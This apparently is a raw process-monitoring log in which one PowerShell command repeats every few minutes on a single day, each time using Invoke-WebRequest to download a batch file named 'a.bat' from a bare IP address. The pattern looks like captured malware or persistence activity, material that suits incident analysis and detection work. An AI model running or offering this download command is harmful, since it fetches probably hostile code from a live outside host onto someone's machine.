C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:09:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:09:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:11:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:12:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:14:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:14:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:16:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:17:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:19:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:19:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:21:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:22:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:24:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:24:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:26:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:27:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:29:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:29:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:31:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:32:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:34:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:34:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:36:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:37:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:39:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:39:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:42:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:42:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:44:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:44:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:47:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:47:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:49:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:49:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:52:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:52:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:54:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:54:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:57:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:57:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:59:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 06:59:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:02:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:02:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:04:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:05:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:07:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:07:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:09:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:10:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:12:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:12:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:14:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:15:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:17:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:17:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:19:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:20:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:22:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:22:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:24:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:25:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:27:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:27:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:29:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:30:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:32:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:32:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:34:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:35:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:37:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:37:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:39:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:40:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:42:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:42:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:44:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:45:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:47:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:47:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:49:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:50:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:52:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:52:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:54:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:55:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:57:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 07:57:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:00:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:00:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:02:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:02:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:05:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:05:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:07:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:07:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:10:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:10:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:12:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:12:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:15:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:15:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:17:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:17:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:20:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:20:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:22:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:22:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:25:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:25:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:27:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:28:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:30:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:30:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:32:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:33:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:35:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:35:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:37:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:38:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:40:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:40:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:42:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:43:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:45:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:45:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:47:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:48:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:50:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:50:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:52:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:53:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:55:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:55:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:57:52 NOTIFY: PROCESS 